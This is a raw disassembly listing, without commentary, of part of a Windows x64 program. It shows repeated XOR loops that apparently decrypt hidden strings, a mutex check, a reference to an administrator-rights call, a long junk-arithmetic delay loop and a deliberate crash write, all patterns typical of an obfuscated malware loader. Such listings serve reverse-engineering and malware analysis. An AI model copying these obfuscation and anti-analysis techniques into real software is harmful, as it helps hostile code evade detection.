movdqa xmm7, xmmword [0x140025460]
movd xmm8, r14d
movdqa xmm9, xmmword [0x140025470]
movd xmm10, edi
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x1400253f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.________________]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x140024d90]
pxor xmm3, xmm0
movd dword [rsp + 0xb8], xmm3
movdqa xmm5, xmmword [0x140025400]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140025410]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xbc]
pxor xmm3, xmm1
movd dword [rsp + 0xbc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14000dbe0
lea r8, [0x1400306f8]
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0xe70]
call fcn.140017c80
mov rcx, rax
call fcn.140016570
mov r8, rax
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
mov rbx, rax
lea rcx, [rsp + 0xe70]
call fcn.140016730
test rbx, rbx
je 0x14000e452
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x67a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x5420]
call fcn.140017140
mov dword [rsp + 0xef0], 0xffffff9c
mov dword [rsp + 0xef4], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x1090], xmm0
xor r12d, r12d
mov dword [rsp + 0x30], r12d
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
lea rcx, [rsp + 0x1360]
call fcn.140001ae0
mov qword [rsp + 0x540], 0x64
mov rax, qword [rsp + 0x1360]
mov qword [rsp + 0x548], rax
lea r8, [rsp + 0x540]
lea rdx, [rsp + 0x548]
lea rcx, [rsp + 0x980]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xfb0], xmm0
mov qword [rsp + 0xfc0], rax
lea rcx, [rsp + 0xfb0]
call fcn.140016030
nop
lea rcx, [rsp + 0x550]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.140017580
nop
lea rdx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + reloc.SHELL32.dll_IsUserAnAdmin]
call fcn.140016050
nop
lea rcx, [rsp + 0x550]
call fcn.140016050
lea rcx, [rsp + 0x558]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x2b0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2b0]
call fcn.140016050
nop
lea rcx, [rsp + 0x558]
call fcn.140016050
lea rcx, [rsp + 0x560]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x2b8]
call fcn.140017580
nop
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2b8]
call fcn.140016050
nop
lea rcx, [rsp + 0x560]
call fcn.140016050
lea rcx, [rsp + 0x568]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x2c0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2c0]
call fcn.140016050
nop
lea rcx, [rsp + 0x568]
call fcn.140016050
lea rcx, [rsp + 0x570]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x2c8]
call fcn.140017580
nop
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2c8]
call fcn.140016050
nop
lea rcx, [rsp + 0x570]
call fcn.140016050
lea rcx, [rsp + 0x578]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x2d0]
call fcn.140017580
nop
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0xfb0]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x2d0]
call fcn.140016050
nop
lea rcx, [rsp + 0x578]
call fcn.140016050
lea rcx, [rsp + 0x580]
call fcn.140001ae0
mov qword [rsp + 0x118], rdi
mov rax, qword [rax]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x120]
call fcn.140002910
test al, al
jns 0x14000e434
movsd xmm10, qword [0x1400253a8]
nop word [rax + rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov rcx, qword [rsp + 0xfb8]
mov rsi, qword [rsp + 0xfb0]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1090]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1090]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1090]
call fcn.140017690
movaps xmm1, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1090]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x15b0]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x15b0]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1168], xmm0
mov qword [rsp + 0x1178], rax
lea rcx, [rsp + 0x1168]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1168]
call fcn.140018230
nop
lea rdx, [rsp + 0x988]
lea rcx, [rsp + 0x1168]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x990]
lea rcx, [rsp + 0x1168]
call fcn.1400161d0
lea rcx, [rsp + 0xef0]
mov qword [rsp + 0x6a0], rcx
lea rcx, [rsp + 0x5420]
mov qword [rsp + 0x6a8], rcx
lea r8, [rsp + 0x6a0]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1168]
call fcn.140002860
lea rdx, [rsp + 0x998]
lea rcx, [rsp + 0x1168]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x9a0]
lea rcx, [rsp + 0x1168]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r15d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000e2ad
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
test eax, eax
jne 0x14000e2e2
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000e2f1
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x5420]
lea rcx, [rsp + 0x1090]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x5420]
test bl, 1
jne 0x14000e39b
mov r9d, dword [rsp + 0xef4]
mov r8d, dword [rsp + 0xef0]
lea rcx, [rsp + 0xef0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000e3bd
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x1090]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x14000e310
sub rsi, 1
jne 0x14000e300
lea rcx, [rsp + 0x1168]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x15b0]
call fcn.140016730
sub r14, 1
jne 0x14000df90
lea rcx, [rsp + 0x580]
call fcn.140001ae0
mov qword [rsp + 0x118], rdi
mov rax, qword [rax]
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x120]
call fcn.140002910
test al, al
js 0x14000df80
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xfb0]
call fcn.1400160c0
mov qword [0], r12
jmp 0x140014f7e
movups xmm0, xmmword [0x140025378]
movups xmmword [rsp + 0x6e0], xmm0
movups xmm1, xmmword [0x140025388]
movups xmmword [rsp + 0x6f0], xmm1
mov eax, dword [0x140025398]
mov dword [rsp + 0x700], eax
movzx eax, word [0x14002539c]
mov word [rsp + 0x704], ax
xor r9d, r9d
cmp esi, 2
jl 0x14000e6bf
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
movd xmm10, r14d
movdqa xmm7, xmmword [0x140025470]
movd xmm11, edi
movdqa xmm12, xmmword [0x140025410]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140025480]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x6e4]
mov edx, dword [rsp + 0xa0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x14000e500
cmp r9d, 0x26
jge 0x14000e724
movsxd rax, r9d
lea r10, [rsp + 0x6e0]
add r10, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x26
jl 0x14000e6d0
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x588], rax
xor r8d, r8d
lea rdx, [rsp + 0x588]
lea rcx, [rsp + 0xae8]
call fcn.140019230
nop
lea rcx, [rsp + 0xae8]
call fcn.1400036c0
movzx ebx, al
lea rcx, [rsp + 0xae8]
call fcn.140002b30
test bl, bl
je 0x14000eab0
movups xmm0, xmmword [0x140024ee0]
movups xmmword [rsp + 0x730], xmm0
movups xmm1, xmmword [0x140024ef0]
movups xmmword [rsp + 0x740], xmm1
movups xmm0, xmmword [0x140024f00]
movups xmmword [rsp + 0x750], xmm0
mov eax, dword [0x140024f10]
mov dword [rsp + 0x760], eax
movzx eax, byte [0x140024f14]
mov byte [rsp + 0x764], al
xor r9d, r9d
cmp esi, 2
jl 0x14000e9ef
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
movd xmm10, r14d
movdqa xmm7, xmmword [0x140025470]
movd xmm11, edi
movdqa xmm12, xmmword [0x140025410]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm13, xmmword [0x140025480]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x734]
mov edx, dword [rsp + 0xa0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14000e830
cmp r9d, 0x35
jge 0x14000ea54
movsxd rax, r9d
lea r10, [rsp + 0x730]
add r10, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x14000ea00
movzx edx, byte [rsp + 0xec8]
lea rcx, [rsp + 0x880]
call fcn.140018620
nop
lea rax, [rsp + 0x730]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x14000ea75
lea rdx, [rsp + 0x730]
lea rcx, [rsp + 0x880]
call fcn.140018640
nop
lea rcx, [rsp + 0x880]
call fcn.140007260
nop
lea rcx, [rsp + 0x880]
call fcn.140016730
mov byte [rsp + 0x58], 0
mov eax, dword [0x1400251b8]
mov dword [rsp + 0x68], eax
cmp byte [0x1400251bb], 0
je 0x14000ec24
cmp esi, 2
jl 0x14000ebc7
mov ebx, 0x1f
movd xmm6, ebx
movdqa xmm7, xmmword [0x1400253f0]
movdqa xmm4, xmm7
punpckldq xmm4, xmm7
movdqa xmm2, xmm7
punpckhdq xmm2, xmm7
movdqa xmm5, xmm4
pmuldq xmm5, xmmword [0x140025460]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x140025460]
shufps xmm5, xmm0, 0xdd
paddd xmm5, xmm7
movd xmm0, r14d
psrad xmm5, xmm0
pmuldq xmm4, xmmword [0x140025470]
pmuldq xmm2, xmmword [0x140025470]
shufps xmm4, xmm2, 0xdd
movd xmm0, edi
psrad xmm4, xmm0
movdqa xmm1, xmm4
psrld xmm1, xmm6
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x140025480]
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm5
psrld xmm0, xmm6
paddd xmm0, xmm5
pmulld xmm0, xmmword [0x140025410]
psubd xmm7, xmm0
pshuflw xmm0, xmm7, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.________________]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x68], xmm3
jmp 0x14000ec29
lea r10, [rsp + 0x68]
xor r9d, r9d
nop
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x14000ebd0
mov ebx, 0x1f
mov qword [rsp + 0x708], 0
lea rcx, [rsp + 0x710]
call fcn.140016ee0
nop
lea rcx, [rsp + 0x68]
mov rax, r12
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14000ec50
lea r8, [rsp + 0x68]
add r8, rax
mov r9d, r15d
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x708]
call fcn.140018070
nop
lea rax, [rsp + 0x860]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [str._606_pca_3x_3_6]
movups xmmword [rsp + 0x790], xmm0
movups xmm1, xmmword [0x1400252a0]
movups xmmword [rsp + 0x7a0], xmm1
movups xmm0, xmmword [0x1400252b0]
movups xmmword [rsp + 0x7b0], xmm0
movups xmm1, xmmword [0x1400252c0]
movups xmmword [rsp + 0x7c0], xmm1
movsd xmm0, qword [0x1400252d0]
movsd qword [rsp + 0x7d0], xmm0
mov eax, dword [0x1400252d8]
mov dword [rsp + 0x7d8], eax
movzx eax, word [0x1400252dc]
mov word [rsp + 0x7dc], ax
movzx eax, byte [0x1400252de]
mov byte [rsp + 0x7de], al
xor r9d, r9d
cmp esi, 2
jl 0x14000ef20
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
movd xmm10, r14d
movdqa xmm7, xmmword [0x140025470]
movd xmm11, edi
movdqa xmm12, xmmword [0x140025480]
movd xmm8, ebx
movdqa xmm13, xmmword [0x140025410]
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0xa0], xmm0
lea rcx, [rsp + 0x794]
mov edx, dword [rsp + 0xa0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
